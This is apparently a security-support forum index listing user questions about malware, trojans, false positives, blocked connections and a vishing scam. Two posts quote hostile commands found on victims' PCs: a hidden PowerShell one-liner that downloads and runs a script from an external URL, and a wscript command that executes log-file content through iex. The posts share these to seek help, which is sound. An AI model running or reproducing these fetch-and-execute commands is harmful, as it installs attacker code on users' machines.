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Is this PDF a malware?
Hello, a few days ago i runned an AML check of one of my BTC address, since I had to exchange some funds, i wanted to make sure they were "clean" before spending them, so yea, i found that telegram bot, entered my BTC address, runned the aml check then downloaded the PDF. The thing is: the PDF runned itself right away the…
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Obvious Malware (to me) that Bitdefender does not detect, what do I do from here?
So I accidentally installed a trojan today because I was exhausted and confused a google ad for the download button of a legitimate product, the stupid part on my part was not stopping to think about why this installer was called "PC Appstore" (I really should've known better, but its too late for common sense to save me).…
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Got these results from malware scan... now what do I do?
Just installed Bitdefender; ran a malware scan with the following errors. What are the next steps I need to take? Thanks for your help.
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Can Bitdefender block a Windows Security Virus & Threat Protection offline system scan?
Can Bitdefender block a Windows Security Virus & Threat Protection offline system scan? If so, why??? This is my second laptop in the past four years to be hacked and taken over by remote hackers. Their malware and malicious files are embedded deep in the Windows 11 system at the registry level. How can Bitdefender help me…
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Suspicious 'updater.exe' file appears to be using Dropbox to get through the firewall
I've been having an issue with a .EXE file that is bypassing the Application Access tab and creating new Rules that allow it access to the internet. It initially seems legit as it is located in a Dropbox-named folder. These are the details: I have Dropbox installed at "C:\Program Files (x86)\Dropbox" and within the…
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quildwarium.com- How Do I remove malware?
I'm getting multiple popups (even with no browsers active) reporting all sorts of errors that require immediate attention because my system is infected. Mentions norton, Mcafee, malware, chrome and various bad messages. I've run multiple security programs including bitdefender, malaware, and totalAV and all show no…
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Urgent: client.protechts.net and pingsender.exe issue
I’ve encountered an issue and wanted to share it for feedback. and it's urgent. Here’s the situation: Whenever I open LinkedIn from my PC browser, (Bitdefender) displays a notification. This never happened before. Suspicious connection blocked 3 hours ago Feature: Online Threat Prevention firefox.exe attempted to establish…
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Suspicious connection blocked in chrome
Hello, I am stressing right now about something wierd to me that happened right now. I had on my chrome browser youtube video playing on one tab then on second twitter opened and on third page called u.gg used for leage of legends game. While watching the video and not doing anything else I got notification saying there is…
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Help investigating what BitDefender did
I was duped into copy/pasting and running a malicious powershell ****** on my Windows 10 PC using Windows Run. As soon as I did this, Bitdefender had a popup that appeared, which made me realize what I had done. At that point I shut the computer down quickly. Unfortunately I can't remember exactly what the Bitdefender…
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WHY is nobody talking about Banshee INFOSTEALER
having a paid subscription i wonder why after it has been known for over half a year with a recent This seems a pretty serious danger update Nobody is talking about the Banshee? this some serious stuff but now i doubt Bitdefenders capability just a random link…
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adnxs.com - Malware or just a strange-named cookie?
Hello! Since I have set my browser settings to delete everything but my cookies after closing the browser, I manually delete certain cookies from time to time. Today a cookie caught my eye that I found a bit 'suspicious'. It's called adnxs.com. A search on the net revealed that there is a virus running under the same name…
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‘Vishing’ attacks are using scam phone calls to trick users into giving out personal details
Malware known as FakeCall is causing significant disruption by manipulating incoming calls on smartphones, enabling ‘vishing’ scams aimed at tricking individuals into disclosing personal information. Vishing, or voice phishing, is a scam technique that uses phone calls to fraudulently obtain personal data. Scammers…
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False Positive?
Bitdefender scan found malware/backdoor in a .dmp file and in Provider Data/Drivercrash. I am not able to upload the file to any sites for a test. How likely is it that a Drivercrash and a dmp file was actually malware?
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ADSPower Browser flagged as trojan ?!
Hello there, today I started using my pc normally, I used ADSPower for a couple of months and never had issue nor detections, today, without even opening it Bitdefender notified me with "we are cleaning an infected resource" I click on it and then, boom ADSPowser, is possible that an antidetection browser, under a…
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ADSPower Browser flagged as trojan ?!
Hello there, today I started using my pc normally, I used ADSPower for a couple of months and never had issue nor detections, today, without even opening it Bitdefender notified me with "we are cleaning an infected resource" I click on it and then, boom ADSPowser, is possible that an antidetection browser, under a…
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Where to report Malicious/Harming undetected Files?
Good Evening/Day everyone, I got a Malicious File, its some kind of Ransomware wich deletes allmost all User Files, Removes the Mouse, Restarts the System. It runs via Command Line and got Detected by Advanced Threat Defence i think, but it was not able to prevent it from rendering the Sytem Unusable. There was no…
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Found a weird command in Run program
I just got out of bed and accidentally opened the Window + R command this is what I found COMMAND: powershell.exe -W Hidden -command $url = 'https://finalsteptogo.com/uploads/tr14.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text The link leads to this and another link…
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Malware Scanner Keeps Detecting New App
Every morning for the past week I get a notification: "Your Device is at Risk - Malware Scanner - "You just installed an app that cannot be currently confirmed safe..." I have NOT installed any new apps, but I still get this notification. Why? How do I fix it? - Thanks. System: Android - Pixel 7a
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Unrecognized software accessing the internet
Bitdefender Total Security, on my Dell Inspiron 16 laptop, has identified NGA.ThickClient.exe gaining access to the internet. Does anyone know what this is? Is it unsafe??
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Full system custom Scan found this
So I recently bought bitdefender total, after doing a custom scan that targeted all the drives on my laptop. Bitdefender detected this "Generic.Application.HackTool.KMS.A.DD98CF7E", the file was located in "C:\Windows\Setup\SCRIPTS\HWID_Activation_AIO.cmd". After the scan was completed I clicked on "take appropriate…
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This website with rare behavior is not detected by Virustotal
Hi, what happens? [*url removed by @Flexx*] When I visited the website my RAM reached 100% in a matter of a few seconds and no antivirus engine sees this website as malicious. An interesting fact is that this attitude occurs only sometimes, as if this malicious behavior is trying to hide itself without attracting attention.
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pop-broker.com opening Firefox
Hi friends. there's this malware opening my Firefox and directing me to a website called pop-broker.com. It's almost two weeks now. The website won't load since I have it blocked with AD blockers. Bitdefender is also useless in finding it with all scans, quick and deep and others. Does anyone have any idea how to find it?…
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Concerning exploit detected notification
Hello, I have recently gotten a notification from Bitdefender total security saying that an exploit was blocked from some IP address - I have blurred it out just in case it is sensitive info. Bitdefender does not detect this as malware and I am not what to do about the exploit. Please could someone tell me what to do about…
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Can't get rid of malicious wbs ******
I'm on windows 11. Every time I restart Bitdefender find a Threat: "Malware wscript.exe C:\Windows\System32 (Command line parameters: "C:\Windows\System32\wscript.exe" "C:\Windows System32\SyncAppvPublishingServer.vbs" "n; $a = Get-Content "C:\Users\LWizard\AppData\Local\logs system-logs.txt" | Select -Index 17033;iex…
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Crazy amount of trackers blocked.
My VPN on PC is blocking a crazy amount of trackers. In less than 24 hours of vpn connectivity, it claims to have blocked more than 1.2k trackers. I feel like this is a crazy amount, and the computer has only idled and been used to play a couple of games and watch YouTube. Anyone know what's going on or if this is a normal…
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App lock acts strange with certain applications and randomly stops working
App lock acts strange with my social media and banking app. App lock will launch normally then have a separate app lock pop up over it, changing the app logo that I'm trying to open to a generic android logo. I can minimize the app and then re open it from the background apps tray and app lock will then act as it normally…
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Infected web resource detected
Hello everyone, I'm receiving numerous notifications like this: Feature: Online Threat Prevention We blocked this dangerous page for your protection: [*url removed by @Flexx*] Accessed by: powershell.exe Dangerous pages attempt to install software that can harm the device, gather personal information, or operate without…
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Bitdefender False Positive?
hello, I received a notification from Bitdefender that threat protection blocked a web resource, but I’m confused because it was coming from my computer’s ip address like the following: [my computer’s local ip]:5357. I’m not sure where this could’ve came from because I don’t visit any malicious sites. Luckily Bitdefender…